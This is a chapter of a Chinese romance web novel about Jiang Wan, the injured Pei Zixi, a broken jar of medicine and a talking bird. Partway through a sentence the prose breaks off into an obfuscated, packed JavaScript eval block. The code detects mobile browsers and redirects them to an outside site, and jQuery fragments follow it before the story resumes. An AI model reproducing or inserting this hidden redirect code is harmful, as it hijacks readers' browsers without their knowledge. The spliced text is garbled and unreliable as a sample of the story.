姜宛发誓,她只是有点尴尬想开个玩笑缓解一下气氛。
但裴子的回答,显然超出了她的想象范围。
因为这人一脸诚挚地看着她:“你说,我就信。”
好吧,气氛没活跃成,反而更尴尬了。
姜宛现在有充分的理由怀疑,这狗男人是在故意勾引她。
这是个什么套路来着?先勾引她,等她情根深种时然后再对她虐身虐心杀她全家灭她九族,虐文都是这么个套路,连在路边捡男人的开头都对上了!
她赶紧给裴子奚肩上的伤口糊了一把不知道是什么做的粉末,替他包扎好了伤口。
结果做完这些一抬头,却见那人还直勾勾地看着她。
就这么孤男寡女的好像不太合适,姜宛只想赶紧送客。
“伤口已经包好了,你是不是应该回去休息了?”
她动作麻利地把那泡菜坛子抱起来塞给他:“好走不送。”
不知道是她手滑,还是裴子奚没接住,那泡菜坛子居然从他们两个中间滑了下去。
裴子奚变了脸色伸手去捞,结果还是没赶上。
坛子摔了个四分五裂,里面的药粉也洒了一地。
“对不起对不起!”姜宛赶紧蹲下去收拾,然而抓了一手药粉才想起来,坛子已经打碎了,她就算抓起来药粉也没处装。
真是没有最尴尬只有更尴尬,她正不知道该怎么办,却看到裴子奚也蹲了下去,从满地药粉里捡起了一张纸。
纸上写着几行小字,姜宛刚瞄见开头是裴子奚三个字,纸条就被他突然揉皱在了手心。
姜宛有种窥探别人隐私被抓了个正着的感觉,赶紧把扣住凤君的铜盆拿起来,把地上的粉末尽可能装进去了些。
至于那些紧贴地面的八成混了灰尘,她也没好意思再收拾,就把盆塞给了裴子奚。
“那个……这药如果很贵的话,我赔给你。”
裴子奚就像是没听见她说话似的,确切地说,从看见那张字条之后他整个人好像就不对劲了。
这次姜宛居然很容易就把他给送走了,连凤君都觉得不可思议。
裴子奚一离开,它就原地复活了,一双绿豆眼闪烁着八卦的光芒凑到了姜宛面前:“你怎么着他了?”
姜宛很是不满:“什么叫我怎么着他了?你几个意思?”
这话说的,好像她是个女流氓一样,这只傻鸟脑子里整天装的都是什么鬼东西!
凤君吧嗒吧嗒嘴:“我看他那个样子应该叫什么来着?对!失魂落魄!”
姜宛一下子就想到了藏在泡菜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918415|189377||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
坛子里的那张纸,虽然只看了一眼,但从字体上来看,应该是个女人写的。
前女友?那泡菜坛子也是她送的?
总不至于是把分手信藏在里面了吧?
姜宛看着凤君,忽然想起了一件事:“你和裴子奚见过面。”
那只傻鸟肉眼可见地慌了:“没有,我怎么会和他见过……”
在姜宛目光灼灼的注视下,它的声音越来越小:“……算是见过一次。”
姜宛正想追问,却见凤君突然翻起了白眼,身子也跟着抽抽起来了。
“装病?”她一开始没在意,但凤君的演技……好像没这么好吧?
她突然想起裴子奚之前说过他的血有毒,顿时就慌了:“该不会真的有毒吧?你这个傻鸟,什么人都敢咬啊!”
她抄起傻鸟就要去找裴子奚,但还没走到门口凤君就突然睁开了眼睛:“乖女儿?”
姜宛直接抽了他脑袋瓜子一下:“忽悠我是吧,还想占我便宜当我爹,你咋不上天呢!”
“我真是你爹!我现在上了凤君的身和你说话,有很重要的事!”
姜宛这才听出青阳无妄熟悉的语气来,顿觉大开眼界。
看来青阳门主也不全是坑蒙拐骗,这是……给她打了个电话的意思?